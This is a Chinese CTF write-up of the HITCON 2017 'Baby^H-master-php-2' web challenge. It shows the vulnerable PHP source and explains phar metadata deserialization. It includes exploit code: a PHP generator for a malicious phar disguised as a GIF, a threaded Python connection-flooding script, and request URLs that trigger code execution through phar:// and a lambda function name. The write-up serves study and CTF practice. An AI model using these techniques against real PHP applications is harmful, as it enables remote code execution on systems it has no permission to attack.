CTFWriteupCTF

[hitcon2017] Baby^H-master-php-2

2018-01-26  本文已影响864人  Pr0ph3t

分享本题自制Dockerfile : Github

这题在比赛过程是0解......真的太难了...体现了Orange大大对php和中间件的深刻理解Orz 膜拜

题目源码:

<?php
$FLAG = create_function("", 'die(`/read_flag`);');
$SECRET = `/read_secret`;
$SANDBOX = "/var/www/data/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($SANDBOX);
@chdir($SANDBOX);

if (!isset($_COOKIE["session-data"])) {
    $data = serialize(new User($SANDBOX));
    $hmac = hash_hmac("sha1", $data, $SECRET);
    setcookie("session-data", sprintf("%s-----%s", $data, $hmac));
}

class User {
    public $avatar;
    function __construct($path) {
        $this->avatar = $path;
    }
}

#######################key class################################
class Admin extends User {
    function __destruct() {
        $random = bin2hex(openssl_random_pseudo_bytes(32));
        eval("function my_function_$random() {"
            . "  global \$FLAG; \$FLAG();"
            . "}");
        $_GET["lucky"]();
    }
}
#######################key class################################
function check_session() {
    global $SECRET;
    $data = $_COOKIE["session-data"];
    list($data, $hmac) = explode("-----", $data, 2); #从cookie中取出data和hmac签名
    if (!isset($data, $hmac) || !is_string($data) || !is_string($hmac)) #判空
    {
        die("Bye");
    }

    if (!hash_equals(hash_hmac("sha1", $data, $SECRET), $hmac)) #判断data加密之后和hmac签名是否对应
    {
        die("Bye Bye");
    }

    $data = unserialize($data); #反序列化
    if (!isset($data->avatar)) #如果反序列化之后的data包含的类中无avatar成员,退出
    {
        die("Bye Bye Bye");
    }

    return $data->avatar;
}

function upload($path) {
    $data = file_get_contents($_GET["url"] . "/avatar.gif");
    if (substr($data, 0, 6) !== "GIF89a") {
        die("Fuck off");
    }

    file_put_contents($path . "/avatar.gif", $data);
    die("Upload OK");
}

function show($path) {
    if (!file_exists($path . "/avatar.gif")) {
        $path = "/var/www/html";
    }

    header("Content-Type: image/gif");
    die(file_get_contents($path . "/avatar.gif"));
}

$mode = $_GET["m"];
if ($mode == "upload") {
    upload(check_session()); #从cookie中提取data反序列化后的avatar成员并将其内容作为路径, 请求url中的内容写到该路径下的avatar.gif文件中
} else if ($mode == "show") {
    show(check_session()); #从cookie中提取data反序列化后的avatar成员并将其内容作为路径, 展示该目录下的avatar.gif
} else {
    highlight_file(__FILE__);
}

思路:

  • Phar?(方便开发者打包和发布php应用的类似于Java中的Jar的一种文件)


    What is Phar?(官方文档)
  • Phar归档的结构


    Phar(官方文档)
  • Metadata : Phar归档中可用来描述此文档的一段序列化之后的字符串 usage of Metadata(官方文档)
  • phar_parse_metadata的初始化调用, 具体PHP源码在ext/phar/phar.c
    执行流程大致为:

    ....--> phar_open_from_filename(1512行的php_stream_open_wrapper函数可以得知此函数处理phar://打开本地phar文件 1531行调用下一个函数) phar_open_from_filename
    --> phar_open_from_fp(1727行调用下一个函数)
    phar_open_from_fp

    --> phar_parse_pharfile(1038、1122行调用下一个函数)


    1038行
    1122行
    --> phar_parse_metadata(函数在609行)
    phar_parse_metadata函数

最后步骤分别是:

  1. 先生成符合要求的phar放入自己的vps中, 生成代码为
<?php
class Admin{
 public $avatar = 'xxx';
}
$p = new Phar(__DIR__.'/avatar.phar',0);
$p['file.php'] = '<?php ?>';
$p->setMetadata(new Admin());
$p->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
rename(__DIR__.'/avatar.phar',__DIR__.'/avatar.gif');
?>
  1. 再请求?m=upload&url=http://xxx.xxx.xxx.xxx
  2. 启动Orange大大写的fork脚本
# coding: UTF-8
# Author: orange@chroot.org
# 

import requests
import socket
import time
from multiprocessing.dummy import Pool as ThreadPool
try:
    requests.packages.urllib3.disable_warnings()
except:
    pass

def run(i):
    while 1:
        HOST = '127.0.0.1'
        PORT = 12344
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((HOST, PORT))
        s.sendall('GET / HTTP/1.1\nHost: 127.0.0.1\nConnection: Keep-Alive\n\n')
        # s.close()
        print 'ok'
        time.sleep(0.5)

i = 8
pool = ThreadPool( i )
result = pool.map_async( run, range(i) ).get(0xffff)
  1. 请求?m=upload&url=phar:///var/www/data/xxx&lucky=%00lambda_1得到flag
    flag

参考:
https://github.com/orangetw/My-CTF-Web-Challenges
P神的小秘圈分享
http://php.net/manual/zh/book.phar.php
http://blog.jobbole.com/91920/
https://yq.aliyun.com/ziliao/55320
https://www.zhihu.com/question/23786410

上一篇下一篇

猜你喜欢

热点阅读